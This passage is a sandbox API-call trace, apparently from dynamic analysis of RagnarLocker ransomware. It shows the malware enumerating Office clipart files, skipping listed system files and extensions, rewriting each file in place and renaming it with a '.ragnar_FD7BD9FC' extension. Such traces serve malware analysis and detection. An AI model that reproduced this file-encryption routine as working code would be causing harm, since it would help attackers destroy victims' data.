lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237336.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237336.WMF.ragnar_FD7BD9FC" [0086.342] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237336.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237336.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237336.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237336.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0086.343] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x51be, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0237759.WMF", cAlternateFileName="")) returned 1 [0086.343] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0086.343] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0237759.WMF" | out: lpString1="J0237759.WMF") returned="J0237759.WMF" [0086.343] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237759.WMF") returned=".WMF" [0086.343] lstrcmpiW (lpString1="J0237759.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0086.343] lstrcmpiW (lpString1="J0237759.WMF", lpString2="autorun.inf") returned 1 [0086.343] lstrcmpiW (lpString1="J0237759.WMF", lpString2="boot.ini") returned 1 [0086.343] lstrcmpiW (lpString1="J0237759.WMF", lpString2="bootfont.bin") returned 1 [0086.343] lstrcmpiW (lpString1="J0237759.WMF", lpString2="bootsect.bak") returned 1 [0086.343] lstrcmpiW (lpString1="J0237759.WMF", lpString2="bootmgr") returned 1 [0086.343] lstrcmpiW (lpString1="J0237759.WMF", lpString2="bootmgr.efi") returned 1 [0086.343] lstrcmpiW (lpString1="J0237759.WMF", lpString2="bootmgfw.efi") returned 1 [0086.343] lstrcmpiW (lpString1="J0237759.WMF", lpString2="desktop.ini") returned 1 [0086.343] lstrcmpiW (lpString1="J0237759.WMF", lpString2="iconcache.db") returned 1 [0086.343] lstrcmpiW (lpString1="J0237759.WMF", lpString2="ntldr") returned -1 [0086.343] lstrcmpiW (lpString1="J0237759.WMF", lpString2="ntuser.dat") returned -1 [0086.343] lstrcmpiW (lpString1="J0237759.WMF", lpString2="ntuser.dat.log") returned -1 [0086.343] lstrcmpiW (lpString1="J0237759.WMF", lpString2="ntuser.ini") returned -1 [0086.343] lstrcmpiW (lpString1="J0237759.WMF", lpString2="thumbs.db") returned -1 [0086.343] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0086.343] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0086.343] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0086.343] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0086.343] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0086.343] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0086.343] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0086.343] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237759.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237759.wmf")) returned 0x20 [0086.343] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237759.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237759.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0086.344] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=20926) returned 1 [0086.344] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x51b5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.344] GetProcessHeap () returned 0x580000 [0086.344] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0086.344] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0086.345] VirtualAlloc (lpAddress=0x0, dwSize=0x51be, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0086.345] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.345] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0086.346] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x51be, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x51be, lpOverlapped=0x0) returned 1 [0086.367] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0086.367] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x51be, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.367] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x51be, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x51be, lpOverlapped=0x0) returned 1 [0086.368] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x51be, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.368] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.368] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x51be, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.368] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.368] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.368] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.368] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0086.368] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.368] GetProcessHeap () returned 0x580000 [0086.368] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0086.368] CloseHandle (hObject=0xf4) returned 1 [0086.368] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237759.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237759.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237759.WMF" [0086.368] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237759.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237759.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237759.WMF.ragnar_FD7BD9FC" [0086.369] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237759.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237759.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237759.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237759.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0086.369] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x59a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0238333.WMF", cAlternateFileName="")) returned 1 [0086.369] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0086.370] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0238333.WMF" | out: lpString1="J0238333.WMF") returned="J0238333.WMF" [0086.370] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238333.WMF") returned=".WMF" [0086.370] lstrcmpiW (lpString1="J0238333.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0086.370] lstrcmpiW (lpString1="J0238333.WMF", lpString2="autorun.inf") returned 1 [0086.370] lstrcmpiW (lpString1="J0238333.WMF", lpString2="boot.ini") returned 1 [0086.370] lstrcmpiW (lpString1="J0238333.WMF", lpString2="bootfont.bin") returned 1 [0086.370] lstrcmpiW (lpString1="J0238333.WMF", lpString2="bootsect.bak") returned 1 [0086.370] lstrcmpiW (lpString1="J0238333.WMF", lpString2="bootmgr") returned 1 [0086.370] lstrcmpiW (lpString1="J0238333.WMF", lpString2="bootmgr.efi") returned 1 [0086.370] lstrcmpiW (lpString1="J0238333.WMF", lpString2="bootmgfw.efi") returned 1 [0086.370] lstrcmpiW (lpString1="J0238333.WMF", lpString2="desktop.ini") returned 1 [0086.370] lstrcmpiW (lpString1="J0238333.WMF", lpString2="iconcache.db") returned 1 [0086.370] lstrcmpiW (lpString1="J0238333.WMF", lpString2="ntldr") returned -1 [0086.370] lstrcmpiW (lpString1="J0238333.WMF", lpString2="ntuser.dat") returned -1 [0086.370] lstrcmpiW (lpString1="J0238333.WMF", lpString2="ntuser.dat.log") returned -1 [0086.370] lstrcmpiW (lpString1="J0238333.WMF", lpString2="ntuser.ini") returned -1 [0086.370] lstrcmpiW (lpString1="J0238333.WMF", lpString2="thumbs.db") returned -1 [0086.370] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0086.370] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0086.370] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0086.370] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0086.370] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0086.370] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0086.370] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0086.371] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238333.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238333.wmf")) returned 0x20 [0086.371] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238333.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238333.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0086.371] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=22944) returned 1 [0086.371] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x5997, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.371] GetProcessHeap () returned 0x580000 [0086.371] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0086.371] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0086.373] VirtualAlloc (lpAddress=0x0, dwSize=0x59a0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0086.373] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.373] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0086.373] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x59a0, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x59a0, lpOverlapped=0x0) returned 1 [0086.375] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0086.375] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x59a0, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.375] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x59a0, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x59a0, lpOverlapped=0x0) returned 1 [0086.375] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x59a0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.375] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.375] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x59a0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.375] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.376] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.376] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.376] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0086.376] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.376] GetProcessHeap () returned 0x580000 [0086.376] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0086.376] CloseHandle (hObject=0xf4) returned 1 [0086.376] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238333.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238333.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238333.WMF" [0086.376] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238333.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238333.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238333.WMF.ragnar_FD7BD9FC" [0086.376] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238333.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238333.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238333.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238333.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0086.377] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1334, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0238927.WMF", cAlternateFileName="")) returned 1 [0086.377] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0086.377] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0238927.WMF" | out: lpString1="J0238927.WMF") returned="J0238927.WMF" [0086.377] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238927.WMF") returned=".WMF" [0086.377] lstrcmpiW (lpString1="J0238927.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0086.377] lstrcmpiW (lpString1="J0238927.WMF", lpString2="autorun.inf") returned 1 [0086.377] lstrcmpiW (lpString1="J0238927.WMF", lpString2="boot.ini") returned 1 [0086.377] lstrcmpiW (lpString1="J0238927.WMF", lpString2="bootfont.bin") returned 1 [0086.377] lstrcmpiW (lpString1="J0238927.WMF", lpString2="bootsect.bak") returned 1 [0086.377] lstrcmpiW (lpString1="J0238927.WMF", lpString2="bootmgr") returned 1 [0086.377] lstrcmpiW (lpString1="J0238927.WMF", lpString2="bootmgr.efi") returned 1 [0086.377] lstrcmpiW (lpString1="J0238927.WMF", lpString2="bootmgfw.efi") returned 1 [0086.377] lstrcmpiW (lpString1="J0238927.WMF", lpString2="desktop.ini") returned 1 [0086.377] lstrcmpiW (lpString1="J0238927.WMF", lpString2="iconcache.db") returned 1 [0086.377] lstrcmpiW (lpString1="J0238927.WMF", lpString2="ntldr") returned -1 [0086.377] lstrcmpiW (lpString1="J0238927.WMF", lpString2="ntuser.dat") returned -1 [0086.377] lstrcmpiW (lpString1="J0238927.WMF", lpString2="ntuser.dat.log") returned -1 [0086.377] lstrcmpiW (lpString1="J0238927.WMF", lpString2="ntuser.ini") returned -1 [0086.377] lstrcmpiW (lpString1="J0238927.WMF", lpString2="thumbs.db") returned -1 [0086.377] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0086.377] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0086.377] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0086.377] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0086.377] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0086.377] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0086.378] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0086.378] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238927.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238927.wmf")) returned 0x20 [0086.378] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238927.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238927.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0086.378] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=4916) returned 1 [0086.378] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x132b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.378] GetProcessHeap () returned 0x580000 [0086.378] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0086.378] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0086.420] VirtualAlloc (lpAddress=0x0, dwSize=0x1334, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0086.421] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.421] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0086.421] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1334, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1334, lpOverlapped=0x0) returned 1 [0086.441] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0086.441] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1334, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.441] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1334, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1334, lpOverlapped=0x0) returned 1 [0086.442] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1334, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.442] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.442] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1334, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.442] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.442] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.442] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.442] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0086.442] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.442] GetProcessHeap () returned 0x580000 [0086.442] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0086.442] CloseHandle (hObject=0xf4) returned 1 [0086.442] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238927.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238927.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238927.WMF" [0086.442] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238927.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238927.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238927.WMF.ragnar_FD7BD9FC" [0086.443] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238927.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238927.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238927.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238927.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0086.443] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, 